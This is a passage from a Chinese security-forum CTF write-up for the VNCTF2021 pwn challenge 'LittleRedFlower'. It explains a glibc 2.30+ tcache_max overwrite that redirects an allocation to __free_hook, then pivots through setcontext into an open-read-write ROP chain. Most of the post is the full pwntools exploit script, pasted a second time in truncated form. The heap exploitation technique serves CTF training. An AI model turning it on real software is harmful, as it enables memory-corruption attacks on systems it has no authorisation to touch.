-
-
[原创]【VNCTF2021】LittleRedFlower
-
发表于: 2022-4-28 18:57 8760
-
题目:buuoj上可搜
首先会通过csize2tidx函数算出输入的size对应的idx,判断idx是否比tcache max小,小的话去检测[top+idx * 2](counts)是否为0。如果不为0就拿出[top+idx * 8]然后返回
还是看汇编来得快,glibc的源码太难看了
0x1530是我们输入的size,shr指令是二进制下右移4位,等价于十六进制右移1位
r8是取出的chunk的地址
从后面的ret前的指令也可以看出,r8就是我们取出的堆块的地址
2.30-2.2
主要的功能有任意地址写1字节,任意堆地址写8字节,申请一个可写的堆块并且free它
白给的libc
主要就是打tcache max,并且控制indx指向的位置,使得申请出来的可写堆块为free_hook,然后配合mov rdx,[rdi+8]的gadget和setcontext+61以及orw直接打通
from
pwn
import
*
from
LibcSearcher
import
*
from
pwnlib.util.iters
import
mbruteforce
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
##context.terminal = ["tmux", "splitw", "-h"]
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
##r = remote("chuj.top", 51904)
##proof_of_work(r)
libc
=
ELF(
'./libc.so.6'
)
r
=
process(
'./pwn'
)
def
z():
gdb.attach(r)
def
read_byte(add,char):
r.sendafter(
'You can write a byte anywhere'
,p64(add))
r.sendafter(
'And what?'
,
str
(char))
def
write_near_heap(offset,con):
r.sendlineafter(
"Offset:"
,
str
(offset))
r.sendafter(
"Content:\n"
,con)
def
make_room(size,con):
r.sendafter(
"size:"
,
str
(size))
r.sendafter(
">>"
,con)
## recv_libc
r.recvuntil(
'GIFT: '
)
libcbase
=
int
(r.recvline()[:
-
1
],base
=
16
)
-
0x1eb6a0
log.success(
'libcbase:'
+
hex
(libcbase))
## set
tcache_max
=
libcbase
+
0x1ea2d0
free_hook
=
libcbase
+
libc.sym[
'__free_hook'
]
setcontext
=
libcbase
+
libc.sym[
'setcontext'
]
mov_rdx_call
=
libcbase
+
0x154b20
##0x0000000000154b20: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
pat
=
libcbase
+
0x28ff4
#pop rax; ret;
pdt
=
libcbase
+
0x26bb2
#pop rdi; ret;
pst
=
libcbase
+
0x2709c
#pop rsi; ret;
pd12t
=
libcbase
+
0x11c3b1
#pop rdx; pop r12; ret;
syscall
=
libcbase
+
0x66199
#syscall; ret;
ret
=
libcbase
+
0x256b9
## change_tcache_max
read_byte(tcache_max
+
7
,
1
)
## write_sth_near_the_heap
write_near_heap(
0x830
,p64(free_hook))
##orw
orw
=
p64(pat)
+
p64(
2
)
+
p64(pdt)
+
p64(free_hook
+
0x10
)
+
p64(syscall)
+
\
p64(pat)
+
p64(
0
)
+
p64(pdt)
+
p64(
3
)
+
p64(pst)
+
p64(free_hook
+
0xb0
)
+
p64(pd12t)
+
p64(
0x50
)
+
p64(
0
)
+
p64(syscall)
+
\
p64(pat)
+
p64(
1
)
+
p64(pdt)
+
p64(
1
)
+
p64(pst)
+
p64(free_hook
+
0xb0
)
+
p64(pd12t)
+
p64(
0x50
)
+
p64(
0
)
+
p64(syscall)
+
p64(
0xdeadbeef
)
## make room
pd
=
p64(mov_rdx_call)
+
p64(free_hook
-
0x8
)
+
'./flag'
.ljust(
8
,
'\x00'
)
+
p64(setcontext
+
61
)
pd
=
pd.ljust(
0x98
,
'\x00'
)
pd
+
=
p64(free_hook
+
0xa8
)
pd
+
=
p64(ret)
pd
+
=
orw
z()
make_room(
0x1490
,pd)
r.recvuntil(
'flag'
)
flag
=
'flag'
+
r.recv()
print
(flag)
r.interactive()
from
pwn
import
*
from
LibcSearcher
import
*
from
pwnlib.util.iters
import
mbruteforce
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
##context.terminal = ["tmux", "splitw", "-h"]
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
##r = remote("chuj.top", 51904)
##proof_of_work(r)
libc
=
ELF(
'./libc.so.6'
)
r
=
process(
'./pwn'
)
def
z():
gdb.attach(r)
def
read_byte(add,char):
r.sendafter(
'You can write a byte anywhere'
,p64(add))
r.sendafter(
'And what?'
,
str
(char))
最后于 2022-6-26 20:47
被Nameless_a编辑
,原因:
赞赏
他的文章
- 西湖论剑2024 IOT赛后复盘及mqtt rce详解 14713
- 对某嵌入式设备声波配网的研究 12069
- DAS10月月赛PWN出题心路&&CVE-2023-40930的介绍 11476
- [原创]关于Nokelock蓝牙锁破解分析 22125
- [原创]基于树莓派的蓝牙调试环境搭建 24614
看原图
赞赏
雪币:
留言: